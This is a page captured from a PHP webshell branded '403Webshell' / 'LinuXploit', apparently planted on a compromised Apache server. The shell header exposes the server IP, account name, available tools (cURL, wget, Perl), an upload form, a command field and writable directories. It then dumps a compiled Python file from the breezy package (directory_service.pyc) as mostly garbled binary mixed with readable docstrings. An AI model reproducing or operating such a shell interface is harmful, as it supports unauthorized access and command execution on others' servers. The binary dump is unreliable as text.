403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/__pycache__/directory_service.cpython-313.pyc
�

p��g���v�SrSSKJrJr SSKJr SSKJrJr SSK	J	r	 \	"\
"5S5 "SS	\R5r"S
S\5r
"SS
\5r"SS\R5r\"5r"SS5r"SS\5r\R)S\S5 "SS\5r\R)S\S5 g)z�Directory service registration and usage.

Directory services are utilities that provide a mapping from URL-like strings
to true URLs.  Examples include lp:urls and per-user location aliases.
�)�Callable�Optional�)�branch)�errors�registry)�lazy_importzM
from breezy import (
    controldir as _mod_controldir,
    urlutils,
    )
c��\rSrSrSrSrg)�DirectoryLookupFailure�(zBase type for lookup errors.�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r
��:/usr/lib/python3/dist-packages/breezy/directory_service.pyrr(s��&rrc��\rSrSrSrSrSrg)�InvalidLocationAlias�,z/"%(alias_name)s" is not a valid location alias.c�*�[RXS9 g)N��
alias_name�r�__init__��selfrs  rr�InvalidLocationAlias.__init__/s���'�'��'�Drr
N�rrrr�_fmtrrr
rrrr,s
��<�D�Errc��\rSrSrSrSrSrg)�UnsetLocationAlias�3z$No %(alias_name)s location assigned.c�0�[RXSSS9 g)Nrrrrs  rr�UnsetLocationAlias.__init__6s���'�'��A�B��'�Hrr
Nr!r
rrr$r$3s
��1�D�Irr$c�"�\rSrSrSrSSjrSrg)�DirectoryServiceRegistry�:aThis object maintains and uses a list of directory services.

Directory services may be registered via the standard Registry methods.
They will be invoked if their key is a prefix of the supplied URL.

Each item registered should be a factory of objects that provide a look_up
method, as invoked by dereference.  Specifically, look_up should accept a
name and URL, and return a URL.
Nc��URU5nUcU$UupEU"5nURXQUS9$![a URXQ5s$f=f)a�Dereference a supplied URL if possible.

URLs that match a registered directory service prefix are looked up in
it.  Non-matching urls are returned verbatim.

This is applied only once; the resulting URL must not be one that
requires further dereferencing.

:param url: The URL to dereference
:param purpose: Purpose of the URL ('read', 'write' or None - if not declared)
:return: The dereferenced URL if applicable, the input URL otherwise.
)�purpose)�
get_prefix�look_up�	TypeError)r�urlr,�match�service�name�	directorys       r�dereference�$DirectoryServiceRegistry.dereferenceEse������$���=��J��
���I�	�	0��$�$�T��$�@�@���	0��$�$�T�/�/�	0�s�3�A�Ar
�N)rrrrrr5rr
rrr)r):s���0rr)c�"�\rSrSrSrSSjrSrg)�	Directory�az Abstract directory lookup class.Nc�,�[UR5e)z�Look up an entry in a directory.

:param name: Directory name
:param url: The URL to dereference
:param purpose: Purpose of the URL ('read', 'write' or None - if not declared)
:return: The dereferenced URL if applicable, the input URL otherwise.
)�NotImplementedErrorr.)rr3r0r,s    rr.�Directory.look_upds��"�$�,�,�/�/rr
r7�rrrrrr.rr
rrr9r9as
��*�0rr9c�\�\rSrSrSr\R\\\	R/\\44"5r\RSSSS9 \RSSS	S9 \RS
SSS9 \RS
SSS9 \RSSSS9 \RSSSS9 SSjr\S5rSrg)�AliasDirectory�oz�Directory lookup for locations associated with a branch.

:parent, :submit, :public, :push, :this, and :bound are currently
supported.  On error, a subclass of DirectoryLookupFailure will be raised.
�parentc�"�UR5$r7)�
get_parent��bs r�<lambda>�AliasDirectory.<lambda>zs
��A�L�L�NrzThe parent of this branch.)�help�submitc�"�UR5$r7)�get_submit_branchrEs rrGrH~�
��!�%�%�'rz"The submit branch for this branch.�publicc�"�UR5$r7)�get_public_branchrEs rrGrH�rMrz#The public location of this branch.�boundc�"�UR5$r7)�get_bound_locationrEs rrGrH�s
��!�&�&�(rz7The branch this branch is bound to, for bound branches.�pushc�"�UR5$r7)�get_push_locationrEs rrGrH�rMrz9The saved location used for `brz push` with no arguments.�thisc��UR$r7)�baserEs rrGrH�s��a�f�frzThis branch.Nc�n�[RRS5SnURSS5n[	U5S:XaUupOUunSnUR
R
USS5nU"U5nUc[U5eUb[RX�5nU$![a [U5ef=f)N�.r�/r�)�_mod_branch�Branch�open_containing�split�len�branch_aliases�get�KeyErrorrr$�urlutils�join)	rr3r0r,r�parts�extra�method�results	         rr.�AliasDirectory.look_up�s����#�#�3�3�C�8��;���	�	�#�q�!���u�:��?��K�D�%��G�T��E�	$��(�(�,�,�T�!�"�X�6�F��F�^�F��>�$�S�)�)����]�]�6�1�F��
���	,�&�s�+�+�	,�s�B�B4c���/nURR5H6nURRU5nURSUSUS35 M8 SR	SRU55$)Nz  :z<10�
aLocation aliases
================

Bazaar defines several aliases for locations associated with a branch.  These
can be used with most commands that expect a location, such as `brz push`.

The aliases are::

{}
For example, to push to the parent location::

    brz push :parent
�)rc�keys�get_help�append�formatrg)�cls�topic�alias_lines�keyrIs     r�	help_text�AliasDirectory.help_text�sr�����%�%�*�*�,�C��%�%�.�.�s�3�D�����S��I�d�V�2�6�7�-�
��F�2�7�7�;�� �
	!rr
r7)rrrrrr�Registry�strrr^r_rrc�registerr.�classmethodrxrr
rrr@r@os����&�&��X�{�)�)�*�H�S�M�9�
:�:���N�����*�1M�������'�
1���
����'�
2���
����(�
F���
����'�
H���
���F�$4�>��J��(�!��!rr@�:z*Easy access to remembered branch locationsc�"�\rSrSrSrSSjrSrg)�ColocatedDirectory�z�Directory lookup for colocated branches.

co:somename will resolve to the colocated branch with "somename" in
the current directory.
Nc��[RRS5Sn[R	UR
S[R
U505$)Nr[rr)�_mod_controldir�
ControlDirr`rf�join_segment_parameters�user_url�escape)rr3r0r,�dirs     rr.�ColocatedDirectory.look_up�sG���(�(�8�8��=�a�@���/�/��L�L�8�X�_�_�T�%:�;�
�	
rr
r7r>r
rrr�r��s���
rr�zco:z!Easy access to colocated branchesN)r�typingrrrorr^rrr	�globals�BzrErrorrrr$rzr)�directoriesr9r@r|r�r
rr�<module>r�s���"�&�#��$���I���'�V�_�_�'�E�1�E�I�/�I�!0�x�0�0�!0�H'�(��0�0�J!�Y�J!�Z���S�.�*V�W�
��
����U�.�0S�Tr

Youez - 2016 - github.com/yon3zu
LinuXploit